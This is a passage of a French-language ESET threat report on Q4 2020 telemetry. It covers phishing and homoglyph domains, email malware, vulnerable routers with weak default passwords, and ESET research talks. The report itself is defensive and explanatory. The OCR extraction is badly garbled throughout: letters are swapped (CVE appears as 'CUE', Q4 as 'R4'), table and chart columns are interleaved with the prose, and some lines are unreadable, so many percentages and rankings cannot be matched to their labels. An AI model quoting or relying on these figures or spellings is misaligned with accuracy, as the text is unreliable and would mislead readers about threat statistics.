a baisse de 23 % par rapport a R3. Les detections trimestrielles ont atteint un pic a la fin

du mois d’octobre, avec environ 8,5 millions de menaces web bloguees par jour et 600 000 URL
uniques bloguees par jour. Les menaces web les plus courantes bloguees, comme en RQ3, sont les
sites web frauduleux detectés dans la categorie des escroqueries. Celles-ci representaient 65 %
de tous les evenements de blocage et environ la moitie des URL uniques bloquees en Q4 2020.

Presque toutes les categories de menaces sur le web ont connu une baisse d’au moins 20 %
en Q4, la categorie du phishing etant celle qui a le plus diminhue. La categorie « objets
malveillants », qui couvre les sites web legitimes hebergeant du code malveillant, fait
exception a cette tendance, affichant une augmentation de 28 % des blocages.

Ces detections sont generalement dues a des cybercriminels qui profitent de sites web peu
securises, par exemple avec des mots de passe FTP faibles pour le telechargement de scripts,
le telechargement de fichiers non securises ou des applications web vulnerables, et les
utilisent pour diffuser leur contenu malveillant. Emotet est un exemple de groupe qui recourt
a ce type d’activites. Il utilise freguemment des sites web pirates pour diffuser ses documents
malveillants ou ses malwares.

Taux de blocaoge des menaces web en 2020
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En termes d’URL uniques bloquees, la telemetrie d’ESET a egalement enregistre une baisse en Q4,
de 12 % par rapport au trimestre precedent. C’est dans la categorie du phishing, qui a chute de

40 %, que ce phenomene a eté le plus important. En revanche, les URL d’escroguerie unigues ont

connu une tendance a la hausse en R4, avec une hausse des blocages a la fin du mois d’octaobre.

Les domaines les plus bloques en R4 sont enumeres a droite, et ceux qui font egalement partie

du top 10 de 2020 sont marques d’'un asterisque.

En examinant les donnees annuelles sur les menaces web, on peut dire sans risque de se tromper
que les sites web dangereux ont connu une reduction notable, 1a moyenne de R4 etant inferieure
de 43 % a celle de Q1. La categorie des malwares a connu la baisse la plus significative tout

au long de I'annee, avec des chiffres de detection en baisse constante depuis avuril 2020. En ce
qul concerne la repartition geographique, les clients d’'ESET en Russie, au Perou, au Japon, au
Mexique et aux Etats-Unis étaient les plus nombreux & avoir bloqué des menaces web en 2020.

royalbank
scotiabank

nexli

binance

hotmail office

Les 10 principales marques et principaux homs de domaine vises par des attagues homoglyphes en R4 2020

Dans le domaine des attaques homoglyphes?!, nous avons observé une légere augmentation du
nombre total de domaines bloques, ainsi que du nombre d’URL <« homoglyphes » unigques bloguees.
Les domaines se faisant passer pour blockchain.com ont connu le plus grand nombre de blocages
en Q4, les attagues contre le service de paiement numerigue italien Nexi venant juste apres.

Le domaine malveillant le plus repandu se faisant passer pour blockchain.com etait

« login.biockchaln.com », les pirates utilisant le I sans point et le L minuscule pour tenter
d’'imiter la page de connexion du site legitime. Compte tenu de l'interét accru pour les
cryptomonnaies en 2020, il n'est pas surprenant que blockchain.com soit egalement la cible avec
le plus grand nombre de blocs tout au long de 1’'annee 2020.

QR4 a egalement vu l'arrivee de nouveaux venus dans le top 10 : des domaines se faisant passer
pour les bangues canadiennes Scotiabank et Royal Bank of Canada, blogues pour les clients
d’ESET en Amerique du Nord.

Le premier domaine malveillant s’est fait passer pour la page de connexion de la Banque Scotia
en changeant deux lettres dans « scotiabank » (auth.scotiaonline.scotlabank.com). Le second a
tenteée sa chance avec le domaine royalbank.com en utilisant la lettre y avec un point en dessous
pour tromper les visiteurs.
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Top 10 des domaines malveillants bloques en R4 2020.
Ceux qui figurent egalement dans le top 10 en 2020 sont marques d’'un *

Tendances et perspectives

Les domaines malveillants, soit enregistrés par des pirates ou des sites web légitimes
pirates, constituent une ressource majeure pour presque tous les types d’activites
malveillantes des cybercriminels. Les démantelements de botnets sont un facteur qui
pourrait bien avoir contribué a leur ralentissement en 2020. Notamment celuis en mars
du prolifique botnet de spam Necurs ou l'opération mondiale a laquelle ESET a participé
pour perturber TrickBot, 1’un des plus grands et des plus anciens botnets.

Compte tenu de la taille et de 1’'ampleur de ces botnets, les demantelements ne
manqueront pas d’avoir des répercussions sur l’ensemble du paysage des malwares.
Et, comme nous l’'avons vu en 3 avec la disparition de certains grands domaines
propageant des logiciels publicitaires, méme les plus grandes campagnes peuvent
parfois tourner au fiasco, faisant baisser les chiffres des detections.

Outre les domaines tres repandus que 1’'on retrouve en téte des classements,
d’innombrables petites campagnes apparaissent sur le web chaque trimestre, concues
pour exploiter les actualites et les evolutions en cours. A cet egard, hous pouvons nhous
attendre a voir davantage d’escroqueries, d’attaques d’hameconnage, y compris des
attaques homoglyphes exploitant 1’'interét autour du Bitcoin, ainsi que la pandemie de
coronavirus et les vaccinations.

Jiri Kropacé, Head of Threat Detection Labs chez ESET

"Les attaques sur le web consistent a imiter des sites web légitimes en remplacant des caractéres dans des noms de domaine par des caracteres similaires

(ou méme visuellement identiques]) pour les humains, mais qui sont différents pour les ordinateurs.
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Menaces par email

Les detections d’emails malveillants ont continué a augmenter durant R3 2020, les entreprises de livraison et de logistique etant fortement utilisees comme
appats.

HTML/Fraud trojan 21,7 %

Le hombre d’'emails malveillants a diminue en Q4 2020, avec une baisse de 19 % du nombre de
detections par rapport a R3. Les niveaux les plus eleves de menaces par email au cours de R4 Win/Exploit.CUE-2017-11882 trojan 16,7 %
ont ete detectes a la mi-novembre et en decembre, conformement aux vagues anticipees du
Black Friday et des campagnes sur le theme des fétes de fin d’anneée. DOC/Fraud trojan 13,8 %
La menace la plus réepandue détectée dans les emails en Q4 2020 était HTML/Fraud, qui a PDF/Fraud trojan 11,0 %
augmente de 31 % par rapport a Q3 et a déepasseé le precédent leader, le cheval de TroieWin/
Exploit CUE-2017-11882. Pres d’un cinquiéme des détections de HTML/Fraud provenaient JS/Danger.ScriptAttachment trojan 6,7 %
de machines clientes aux Etats-Unis. La majorité des emails détectés sous ce nom en QR4 POF/Phishi I -
appartiennent a la categorie dite de la fraude par avance de fonds [21]. 2NIng troJan S
La plupart des menaces restantes dans le top 10 ont diminue d’'un trimestre a l'autre, a HTML/Phishing trojan 5,3 %
I’exception du cheval de Troie PDF/Phishing, des piéces jointes en POF contenant des formulaires _ _

, . : , . , o : JS/Danger.DoubleExtension trojan 3,4 %
d’hameconnage ou des liens vers des sites d’hameconnage, qui a augmente de 56 %. Parmi les
leurres les plus courants observes en Q4 : des offres localisees d’echange de cryptomonnaie, de 18/ e nlounlees crlemees Lrelam 3.1 %
pretendus documents bancaires et de faux formulaires du <« Registre des entreprises I'UE »».

Les emails et les pieces jointes d’hameconnage en HTML, détectés sous le nom HTML/Phishing,
ont augmente toute l'annee, avec des entreprises de transport et de logistique etant les plus
imitées. Cependant, en Q4, ce type de tentative d’hameconnage a diminue de pres de 50 % en
nombre total de detections, sans changement majeur des leurres utilises.

HTML/Phishing.DHL trojan - 2,2 %

Les 10 principales menaces detectées dans les emails en R4 2020

Echantillon de données : France

Fin du mois de novembre et debut decembre 2020, nous avons detecte une campagne
d’hameconnage utilisant une combinaison des approches les plus courantes : les emails
contenaient des pieces jointes HTML déguisees sous forme de documents PDF provenant de

+36,1 % ; différentes entreprises de transport et de logistique (par ex. « DHL AWB-Recepit.pdf.html »).
. Comme le montre la capture d’ecran ci-dessous, le site imitant celui d’Adobe demande des
+4,7 % identifiants pour pretendument confirmer l'identite du destinataire. Deux tiers de ces emails
'28,5 % ont etée déetectés en Espagne, bien que la campagne n’ait pas éte localisée.

En examinant les lignes d’objet utilisees dans les emails malveillants detectes en Q4 2020, les
themes suivants etaient les plus frequents :

Demande de paiement, facture, confirmation de commande

Expedition, livraison de colis

Transfert d’argent, message de la banque

COUID-19 (avertissements, mesures prises par les entreprises, vaccin...)

Q 1 Q 2 Q 3 Q 4 Comme une grande partie du monde s’attendait a ce que le lancement de la vaccination
:. . . commence en fin d’annee, les pirates ont redouble d’efforts pour tenter de tirer profit des

1 janv. 2020 1 aur. 2020 1 juil. 2020 1 oct. 2020 preoccupations courantes concernant la distribution, la disponibilite et la securite des
vaccins. Par rapport au trimestre precedent, les mentions de la vaccination dans les emails

Tendance de détection d’emails malveillants en 2020, moyenne mobile sur sept jours

Echantillon de données : France
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Lampagne o’hameconnage se faisant passer pour Adobe pres de 18 % de toutes les detections des menaces par email en 2020. Ceci est probablement

le resultat de campagnes a grande echelle de telechargeurs par email ciblant les utilisateurs

malveillants ont augmente de 50 % en Q4. Le vaccin de Pfizer-BioNTech etait le plus souvent _ _ e _
Jjaponais, comme la campagne Nemucod de juin 2020 [57] diffusant le ransomware Avaddon.

mentionne dans ces emails frauduleux, avec des lignes d’objet telles que « Uaccin Pfizer pour
COVID-19 : 11 choses que vous devez savolr ».

La detection du spam, des emails non solliciteées et pas necessairement malveillants, a continue

La menace la plus courante qui se cachait derriere les emails sur theme de COUID-19 en Q4 3 U PUHhme sevtem en B, 12 velune® elebal etant Isgerenent en PEUsse Par FEppers & B,

etait UBA/TrojanDownloader.Agent, des fichiers Microsoft Office maluveillants qui tentent de
manipuler des victimes potentielles pour permettre 'execution de macros malveillantes afin

de telecharger d’autres malwares. La diffusion de ce telechargeur en 2020 a ete principalement
alimentee par des campagnes d’Emotet s’appuyant fortement sur des macros malveillantes. Les
pieces jointes malveillantes utilisees dans les campagnes d’Emotet en R4 contiennent egalement
des references a COVUID-19, avec des noms de fichiers tels que « FA-9324 Medical report
Covid-19.doc ».

En ce gqul concerne les types de fichiers de pieces jointes malveillantes, deux tiers des
fichiers identifies en R4 2020 etaient des executables, suivis par des scripts et des documents
Office. Le changement le plus significatif par rapport a Q3 a ete observe dans la detection de
documents Office malveillants, dont le nombre total a augmente de 61 %, tres probablement en
raison de l'activite d’Emotet mentionnee plus haut.

Si I'on examine les donnees annuelles sur les menaces par email, les niveaux de detection sont
restes assez stables tout au long de 'annee, avec toutefois de nombreux pics et baisses de
courte duree. Les niveaux de detection les plus eleves ont ete observes en fevrier et en juin.
Selon la telemetrie d’ESET, les pays ayant detecte le plus de menaces par email en 2020 sont le
Japon, la Turquie, la Polognhe, I'Espagne et les Etats—Unis, comme le montre la carte a droite.

Les clients d’ESET au Japon ont recu de loin la plus grande partie de ces emails, représentant %@

Taux de detection des menaces par email en 2020

La statistique repose sur une selection d’extensions bien connues. RAPPORT ESET SUR LES MENACES AU 4E TRIMESTRE 2020 |



Les niveaux de detection ont atteint un sommet en novembre.

Il n'est pas surprenant que les spammeurs aient bombarde les utilisateurs d’emails indéesirables
sur le théeme d’Halloween et du Black Friday/Cyber Monday en R4, préetendant proposer de fortes
reductions sur des marques populaires. Dans une campagne de spam de nhovembre [58], des
escrocs semblent avoir reconverti leurs modeles d’emails d’Halloween pour le Cyber Monday, en
ne changeant que les lignes d’objet.

Le theme des vaccins COUID-19 est egalement utilise pour des campagnes de spam : propositions
commerciales « speciales » dans le developpement de vaccins, offres sur des congelateurs a
ultra basse temperature, theories de conspiration liees aux vaccins.

Tout au long de 1’'annee, les detections de spam ont legerement diminue, les niveaux les plus
eleves ayant ete atteints en feurier 2020. Plus de 18 % de tous les emails non sollicites
détectés en 2020 provenaient des Etats-Unis, suivis du Japon, de la Pologne, de la France et
de I'Allemagne. Les emails dont le pays expediteur n’a pu étre identifie representaient 10 % du
volume de spam.

En 2020, la Chine et le Uietnam etaient en téte du nombre total d’emails envoyes, le spam
representant plus de la moitie de tous les emails envoyes, suivis par I’Argentine et la Lituanie
auec plus de 40 %, et le Bresil avec un tiers de tous les emails envoyes.

Lors de l'interpretation des donnees d’ESET sur le spam, il faut tenir compte du fait que notre
visibilite sur le trafic de spam est limitee, car les messages electroniques peuvent étre filtres
chez le fournisseur de services de messagerie sur Internet, ou ailleurs, avant d’atteindre 1la
solution antispam d’ESET sur les machines clientes.

+4.8 %
+2,1 %
-10,3 %

1 ganv. 2020 1 avr. 2020 1 Juil. 2020 1 oct. 2020

Tendaonce de detection du spam en 2020, moyenne mobile sur sept jours

Echantillon de données : France
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Du spam sur le theme du Cyber Monday et de la vaccination pour COUID-19 ont éete observes en R4 2020

Tendances et perspectives

Les objectifs des attaques par email restent les mémes : extraire des informations
sensibles ou compromettre 1’'ordinateur des victimes en téléchargeant d’autres
malwares. Seuls les prétextes utilisés pour appater les victimes sont difféerents. Le
coronavirus a créé des opportunités pour les cybercriminels dans ce domaine.

Tout au long de 1'année, des criminels ont profite de l'incertitude engendrée par la
pandemie, bombardant les utilisateurs d’emails pretendant apporter des reponses a
leurs questions angoissantes. Cela s’est accompagné de campagnes incessantes se
faisant passer pour des societées de transport et de logistique bien connues, visant le
nombre croissant d’acheteurs en ligne dans un contexte de fermeture des magasins.
Les emails malveillants a caractere financier, qui comptent parmi les leurres les

plus courants, sont restes une tendance forte en 2020, ce qui montre que ce type
d’activite est toujours utile aux pirates.

Dans l'année a venir, hous prevoyons que les services de transport et les services
financiers resteront les principaux appats des campagnes d’emails malveillants. Il
est plus que probable que les pirates tenteront également de tirer parti des nouveaux
developpements concernant la pandéemie, comme nous le constatons déja avec le
vaccin de Pfizer. Les escrocs exploiteront probablement également la hausse du prix
du Bitcoin, comme nous en avons vu des indices en (4. En géenéral, les auteurs de
malwares continuent a s’adapter aux evénements mondiaux et aux actualités pour
diffuser des contenus malveillants.

Jiri Kropacé, Head of Threat Detection Labs chez ESET
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Securite des objets connectes

Le nombre de routeurs comportant des mots de passe faibles et des vulnérabilités a augmenté en R4, tandis que le pire nom Jd’utilisateur/mot de passe de
2020 reste le ridiculement commun admin/admin configuré par défaut.

R3 Q4
Le dernier trimestre de 2020 a vu une augmentation notable de 34 % du nombre de routeurs
analyses via les solutions ESET et une augmentation de 32 % des tests de routeurs demandes par 16.3%
les utilisateurs. Prés de 5 000 routeurs (+40 % d’'un trimestre a l'autre] utilisaient des mots de CUE-2012-5687 unauthorized access 18.0%
passe faibles et pres de 2 900 (+34 % d’un trimestre a ’'autre] étaient affectés par au moins
une vulnerabilité connue, sur plus de 140 000 appareils testés. CUE-2014-8361 command injection 1111-33
Comme lors des trimestres precedents, la faille de securite la plus freguemment constatéee en .
R4 etait CUE-2012-5687, datant de plusieurs annees, qui permet un acces non autorise. Sa part CUE-2014-9583 command injection (aslce
, : : ., ., 7.8%
a augmenteé de 1,7 point de pourcentage (pp) par rapport au trimestre precedent et a terminé
le trimestre a 18 %. La seconde (CUE-2014-8361, 11,1 %) et la troisieme (CUE-2014-9583, 7,8 %) _ - 7.2%
etaient des vulnerabilites d’injection de commandes. Toutes deux ont conserve leur place avec bYlE=28la=lzzy Eress-eli? SErlpLing 6.9%
des fluctuations mineures.
4.0%
, - CUE-2015-0554 unauthorized access /
Aucun nouveau venu ne figure dans le top 10 mais il y a eu deux changements notables. La _ 4.6%
premiere s’est produite entre la cinguieme (CUE-2015-0554, 4,6 %], qui a augmenteé plus 4.9
fregquemment gu’'en Q3 de 0,6 pp, et la sixieme (CUE-2015-7248), qui a perdu 1 pp par rapport a Q3 CUE-2015-7248 unauthorized access _ 3 97' .
et a cléture Q4 avec 3,9 %. L’autre permutation s’est produite entre la neuvieme et la dixieme T
place avec les menaces de R3 dans l'ordre inverse, a savoir CUE-2015-7254 (3,1 %) et CUE-2014- : 3.9%
o CUE-2014-2962 unauthorized access
4019 (2,5 %). 3.8%
En 2020, les utilisateurs d’ESET ont effectueé pres de 790 000 tests sur plus de CUE-2013-5947 unauthorized access 3-?%
438 000 routeurs unigues. La mauvaise nouvelle est que la plupart des CUE trouvees datent 3.2%
. 3.0%
CUE-2015-7254 unauthorized access 3.1
Annee Part o
2019 0.3 % CUE-2014-4019 thorized S
/ - - unauthorized access
’ I - 5
2018 2,6 %
2017 2,4 % . , , , , , ,
Les 10 principales vulnerabilites detectees par le module d’ESET d’analyse de la vulnerabilite
2016 0,5 % des routeurs en R3 et R4 2020 (% des vulnérabilités detectées)
2015 0,5 %
de 2014 (34 %), 2015 (15,9 %), 2012 (17,9 %) et 2013 (8,4 %). Des milliers d’objets connectés
2014 15,9 % , : . . . :
presentant encore des failles aussi anciennes sont une manne pour les cybercriminels, quil
2013 34 % recherchent des appareils intelligents faiblement protéeges pour les ajouter a leurs botnets.
2012 17,9 % : . , , " :
% La faiblesse des mots de passe reste 1'un des problemes cles de la securite des objets
2011 0,0 % connectes. Aussi peu surprenant que cela puisse paraitre, les analuses de 2020 confirment
2010 0,1 % qu’« admin » reste le roi des mauvais mots de passe sur les routeurs, suivi de « root » et
, caea o « 1234 ». Ils sont souvent accompagnes de noms d'utilisateurs faciles a deviner, le plus souvent
Autres vulnérabilités (CUE/non-CUE] 17,9 %

« admin », « root » et « guest ». Il s’agit principalement des noms d’utilisateur et des mots
ﬁge des vulnérabilites decouvertes lors des analyses de routeurs
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Rang Mot de passe Rang Nom d’utilisateur

1 admir ] admir Tendances et perspectives

P root 2 root

3 1234 3 guest La population des objets connectés devrait passer d’environ 20 milliards aujourd’hui
a plus de 50 milliards dans le monde d’ici 2025. Les problemes de securitée des objets

4 12345 4 1234 , . i e )
connectes sont la pour rester, et il sera difficile de trouver un aspect de votre vie

9 guest 9 support qu’ils n'affecteront pas.

6 d 6 iy ; , . y g

PESSWOR HSEr Avec l'explosion du teletravail durant la pandemie de COUID-19, le nhombre d’objets

I¢ support I¢ super connectes et de surfaces d’attaque associées a rapidement augmenté et est devenu

8 Admin 8 11111 un point d’entrée intermédiaire sur les réseaux des entreprise, d’autant plus que les
bureaux a domicile ont tendance a étre moins bien defendus que l’'entreprise elle-méme.

9 super 9 manager

10 x-admin 10 tellabs Cette année, la tendance devrait se poursuivre, les fortes ventes d’objets connectes

prevues incitant fortement a decouvrir de nouvelles vulnérabilites et en tirer des
revenus en cas de réussite. Cible principale : le routeur du bureau a domicile.

Les 10 mots de passe les plus faibles Les 10 principaux noms d’utilisateur associés

0 des mots de passe faibles , ) ) , ; . . . .
D’autres points d’entree moins courants, tels que la gestion de la climatisation

et d’'autres systemes d’'automatisation desbatiments et leurs capteurs connectes,
continueront d’offrir des surfaces d’'attaque tout aussi attrayantes, en particulier dans
les bureaux sur le terrain peu déefendus et comptant peu de personnel.

de passe par defaut, qui n‘ont probablement jamais ete modifies par les proprietaires des
appareils.

Un auertissement du FBI [59] publié en décembre sur le « swatting » illustre la maniere dont

la faiblesse des identifiants des objets connectes peuvent entrainer de graves prejudices.
L’agence a conseille aux utilisateurs de renforcer la securite de leurs appareils intelligents,
car dans un nombre croissant de cas, les criminels ont nhon seulement envoye une equipe du
SWAT (unité d’intervention des forces de police américaines) au domicile de la victime, mais ont
egalement detourne leurs appareils vidéo et audio pour observer l'incident.

Cameron Camp, Specialized Security Researcher chez ESET

En Q4, les chercheurs de Rihoo 360 Netlab [60] ont découvert un nouveau botnet compose
d’objets connectes qu’ils ont appele HEH Botnet. Parmi ses caracteristiques les plus
interessantes : un protocole P2P proprietaire, la propagation par des attaques de force brute
contre des ports specifiques executant le service telnet, et 1'execution de commandes shell.
Une fois qu’un objet connecte fait partie de ce botnet, il est generalement utilise pour des
attaques DDOoS et l'extraction de cryptomonnaie.
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Engagements et realisations des
experts d’'ESET

Prochaines presentations

RSAC 2021

Pourquoi les exploitations de vulnérabilites de Windows XP sont toujours importantes

Lors de la prochaine conference virtuelle de la RSA, Zuzana Hromcova, malware researcher
chez ESET, et Jean-Ian Boutin, head of threat research chez ESET, enseigneront au public
comment lutter contre les tactiques evoluees de type « living off the land ». De plus

en plus de LOLBins bien connues et bien documentees sont remplacees par des binaires
vulnerables. Méme une DLL Windows XP vulnerable peut étre exploitee sur des machines
non-XP par des pirates. En utilisant l'exemple de la chaine d’'infection d’'InvisiMole, un
ensemble d’outils d’espionnage cible, les presentateurs precieront comment se defendre
contre cette tendance.

Le codt cache des stalkerwares Android : votre securite

Au cours de sa presentation, Lukas éteFanko, malware researcher chez ESET, presentera les
resultats de son analuse de dizaines de familles de logiciels de harcelement sur Android,
qui ont révelé que, outre 1'éthique clairement douteuse de ces applications (conduisant

la plupart des solutions de securite mobile a les signaler comme etant indésirables ou
nuisibles), beaucoup d’entre elles présentent egalement de graves problemes de sécurite
et de confidentialite qui pourraient entralner des prises de controle de comptes, des
fuites d’'informations sensibles, et méme la possibilite de pieger les utilisateurs avec des
preuves fabriquees de toutes pieces.

Infection des reseaux isoles : 10 ans d’efforts consacrées par des Etats

Depuis plus de dix ans, des pirates sponsorises par des Ftats parviennent a s’introduire
dans des reseaux isoles. Alexis Dorais-Joncas, security intelligence team lead chez ESET,
a analyse et compare les frameworks malveillants connus a ce jour. Au cours de cette
session, il soulignera les principales similitudes (et certaines différences) entre leurs
TTP et presentera des strategies de defense s’appuyant sur des pratiques reelles qui
permettent aux defenseurs de mettre en ceuvre des solutions d’attenuation efficaces.

Presentations effectuees

Journee europeenne ESET de la cybersecurite

Le dernier trimestre vu par ESET : principales menaces de cybercriminalité [61]

Robert Lipousky, senior malware researcher chez ESET, et Ondrej Kubovic, security
awareness specialist chez ESET, ont présenteé les grandes lignes du rapport ESET sur les
menaces de R3 2020. Avec le lot de donnees recentes provenant de la telemetrie d’ESET,
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ils ont couvert les techniques et les methodes deployees par les gangs de ransomwares les
plus connus, des details sur l'activite recente d’Emotet et ses malwares de vol d’'informations
tels que Qbot et TrickBot, ainsi que des details sur les menaces par email rencontrees par les
chercheurs d’ESET.

Le dernier trimestre vu par ESET : actualité des activités des pirates [62]

Lors de la Journee europeenne ESET de la cybersecurite, Jean-Ian Boutin, head of threat
research chez ESET, s’est concentré sur Operation In(ter]ception, une série d’attaques du
groupe Lazarus contre des entreprises européeennes de premier plan dans le domaine de
l’aerospatiale et de la defense. Il a fait le point sur les autres pirates qui ont ete tres actifs
ces derniers mois, a detaille une nouvelle campagne ciblant un pays de 1I'UE a 1’'aide d’une
nouvelle porte derobee, et a evoque les recentes activites observees chez les pirates TA410 et
Gamaredon.

Dans les coulisses de la coopération entre les services de police et le secteur privé [63]

Lors de sa presentation, Alexis Dorais-Joncas, security intelligence team lead chez

ESET, a decrit la cooperation entre les services de police et les entreprises de securite
privees, hotamment les tupes d’'informations unigues qu’'ESET est en mesure de fournir aux
services de police (et ce qui est hors de propos] et le type d’'informations que seuls les
services de police peuvent legalement obtenir, et a explique que l'instauration d’'un climat de
confiance pour parvenir a cet echange mutuel d’'informations etait essentielle a la reussite des
enquétes.

Black Hat Asia

Krd@k : Comment le piratage d’Amazon Echo a expose plus d’un milliard d’appareils Wifi vulnherables
[64]

v

Durant l'edition virtuelle de 2020 de Black Hat Asia, Robert Lipovsky, senior malware researcher,
et Stefan Svorencik, senior detection engineer, tous deux chez ESET, ont révélé d’autres détails
de la faille de securite Kr@0k. Leur briefing a permis d’apporter des details techniques ainsi
que de nouvelles informations decouvertes depuis la publication initiale de la vulnérabilite.

FIRST

Lorsqu’HTTP ne suffit pas : un examen des protocoles de commande et de contréle furtifs

Au cours de la 32e conference annuelle FIRST, Matthieu Faou, malware researcher chez ESET, a
montre comment les pirates sont capables de fondre leurs communications HTTP dans du trafic
legitime en imitant celui-ci, et a fait la demonstration de communications de commande et

de contrdle par email en utilisant Turla comme exemple. Il a propose des contre-mesures pour
ameliorer la protection des utilisateurs.

Le statu quo

Attaques de Lazarus contre des chaines d’approvisionnement

Dans leur présentation, Anton Cherepanov et Peter Kalnhai, senior malware researchers chez
ESET, ont decrit 'attagque de Lazarus visant des internautes sud-coreens, principalement des
utilisateurs de sites gouvernementaux ou de sites bancaires sur Internet, orchestree via un
programme d’installation d’integration appele WIZUERA UeraPort. Ils ont explique comment cette
campagne s’inscrit dans le contexte des TTP habituels de Lazarus et ont presente les details
technigues du malware diffuse par cette chaine d’approvisionnement.

Krd@k : une grave vulnerabilité a af fecté le chiffrement de plus d’un milliard d’appareils Wifi

Robert Lipousky, senior malware researcher chez ESET, a communigue des details sur la faille de
securite KridB@k. I1 a fourni des informations tirees de la publication initiale qui decrivent cette
vulherabilite et a presente des resultats supplementaires issus d’etudes plus approfondies.

AUAR

CDORThief : malware ciblant des commutateurs logiciels UolIP sous Linux [65]

Lors de sa presentation durant la conference AUAR, Anton Cherepanov, senior malware
researcher chez ESET, a presente sa recente decouverte de CORThief, un malware ciblant des
commutateurs logiciels de voix sur IP (UoIP) sur Linux. I1 a fourni une description technique
detaillee du malware CDRThief et a aborde les objectifs possibles de ses operateurs.

Une etude approfondie d’Evilnum et de ses outils

Durant sa presentation, Matias Nicolas Porolli, malware researcher chez ESET, a presente en
detail le groupe Evilnum. I1 a decrit l'infrastructure utilisee pour les activites d’Evilhum,
analyse les malwares developpes par le groupe ainsi que sa chaine d’attaque. S’appuyant sur les
donnees de telemetrie d’ESET, les victimes ont egalement ete detaillees pour montrer gu’Evilnum
a un ciblage tres specifique.

CODE BLUE 2020

Kr@@k : une grave vulnérabilité affectant le chiffrement de plus d’un milliard d’appareils Wifi [66]

Pour ceux qui n‘ont pas eu la chance d’assister a cette conféerence lors des precedents
evenements virtuels, Robert Lipovsky, senior malware researcher chez ESET, a devoile les
details de la faille de securite Kr@B@k. I1 a presente des informations sur les etudes initiales
qul ont permis de decouvrir la vulnerabilite dans les puces Wifi de Broadcom et Cypress, ainsi
que les conclusions des etudes de suivi.
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Botconf

Le groupe Winnti : analyse de ses dernieres activites

Lors de l'édition en ligne de Botconf de 2020, Mathieu Tartare, malware researcher chez ESET,
a fourni un apercu des dernieres activites du groupe Winnti, responsable des attaques contre
la chaine d’approvisionnement des secteurs des jeux video et des logiciels, de la sante, et de
l’education. La presentation a montre non seulement que le groupe Winnti utilise et actualise
toujours activement sa porte derobee ShadowPad et sa famille de malwares Winnti, mais

qu’il a également etendu son arsenal avec de nouveaux outils dont certains n‘ont jamais ete
documentes.

Les activités de Turla aux premieres loges

Dans sa presentation Botconf, Matthieu Faou, malware researcher chez ESET, a communique de
nouvelles informations sur les TTP de Turla, un groupe de pirates avances etudie par ESET depuis
plusieurs annees, qui cible des organismes gouvernementaux et des entreprises du secteur de

la defense. La presentation a decrit les principales attaques publiguement attribuées au groupe
et a explique les motivations des pirates. La partie technique de 1l'expose a presente les trois
etapes classiques d’'une campagne Turla : compromis, mouvement lateral et persistance a long
terme.

Contributions a la base MITRE ATT&CK

Les chercheurs d’ESET contribuent régulierement a MITRE ATT&CK [67], une base de connaissances
accessible publiquement sur les tactiques et les techniques des pirates. A la fin du mois de
decembre 2020, la base de connhaissances comprenait 177 techniques et 348 sous-techniques.
Tout au long de 1’'annee 2020, ESET a contribue a la creation de 5 nouvelles entrees et a
l'extension de 5 entrees existantes. MITRE ATT&CK poursuit egalement ses efforts pour
ameliorer et etendre la couverture avec des entrees pour macQS, prevues en auril 2021 et pour
Linux, prevues en octobre 2021. Plusieurs contributions d’ESET sont apparues dans la publication
d’'octobre 2020 de la base de connaissances ATT&CK :

nouvelle sous-technique dans la matrice Entreprise

extension d’une sous-technique existante dans la matrice Entreprise
nouvelle contribution dans la catéegorie Logiciels

extension dans la categorie Logiciels

extension dans la categorie Groupes

]
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Ces contributions ont été repertoriées dans les techniques Entreprise [68], et dans les
categories Logiciels [69] et Groupes [70].

La premiere contribution d’ESET dans Logiciels couvre PipeMon, une porte derobee modulaire a
plusieurs étapes utilisee par le groupe Winnti, signalée par ESET [16] pour la premiere fois en
mai 2020. Elle a ete utilisee contre plusieurs entreprises de jeux video en Coree du Sud et a
Taiwan.

La methode de persistance de PipeMon a jete les bases d’'une autre contribution : une nouvelle
sous-technique d’exécution automatique du boot et du logon : Print Processors (T1547.012) [71].
Les chercheurs d’ESET ont decouvert que le groupe Winnti a utilise la cle de registre « Print

Processors »» pour rendre sa porte derobeée PipeMon persistante. Les pirates peuvent utiliser

cette technigue pour charger du code malveillant qui persistera a chague redemarrage du

systeme et s’executera avec les privileges du compte SYSTEM.

La categorie Logiciels d’ATT&CK a egalement recu de nouvelles informations sur
InvisiMole (S0260] [72], un logiciel espion modulaire utiliseé dans des campagnes de

cyberespionnage ciblées en Ukraine et en Russie. Les chercheurs d’ESET ont signalé [73]
InvisiMole pour la premiere fois en 2018 ; deux ans plus tard, ils ont publié [10] une analyse
approfondie de la panoplie d'outils et des TTP du groupe. La mise a jour basee sur cette nouvelle
etude permet de relier plus de 40 techniques supplementaires a InvisiMole. Cette etude a

donneé lieu a une autre contribution a la matrice Entreprise : une modification de l'exécution de
proxy binaire signé : Control Panel (T1218.002]) [74], basée sur le comportement observe lors de

l’'analyse d’'InvisiMole.

La derniere contribution publiee durant Q4 2020 met a jour l'entree d’ATT&CK concernant
Gamaredon [(GOB47] [75], un groupe de pirates actif depuis au moins 2013 et ciblant des

institutions ukrainiennes. Dans une étude [76] récente du groupe Gamaredon, les chercheurs
d’ESET ont pu relier les activites du groupe a un certain nombre de technigques supplementaires,
gul n'etaient pas incluses auparavant dans l'entree Groupes.

Evaluations MITRE ATT&CK

En novembre 2020, ESET a participe aux evaluations de MITRE ATT&CK® en imitant les groupes
de pirates Carbanak et FINY. Les resultats de la participation d’ESET devraient étre publies

au debut de 1'annee 2021. Ce cycle d’evaluation a marque la premiere fois qu’un scenario de
protections optionnelles etait disponible, avec ESET parmi les editeurs qui ont participe a ces
evaluations etendues.
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A propos des donnhees de ce rapport

Les statistiques et les tendances des menaces presentees dans ce rapport reposent sur
les donnees de telemetrie mondiales d’ESET. Sauf indication contraire, les donnees incluent
les menaces quelle que soit la plateforme ciblee et ne comprennent que des detections
guotidiennes unigques par appareil.

Ces donnees ont pour objectif d’étre le plus impartiales possible et de maximiser l'interét
des informations fournies sur les menaces les plus importantes.

Elles excluent les deéetections d’'applications potentiellement indésirables [77], d’applications

potentiellement dangereuses [78 ] et les logiciels publicitaires, sauf dans les sections

plus detaillees specifiques a des plateformes, et dans la section sur les extracteurs de
cryptomonnaie.

La plupart des graphiques de ce rapport montrent des tendances de detection plutét que des
chiffres absolus. En effet, les donnees peuvent étre sujettes a des interpretations erronees,
en particulier lorsqu’elles sont comparees directement a d’autres donnees de telemetrie. Des
valeurs absolues ou des ordres de grandeur sont ainsi fournis lorsgu’ils peuvent étre utiles.
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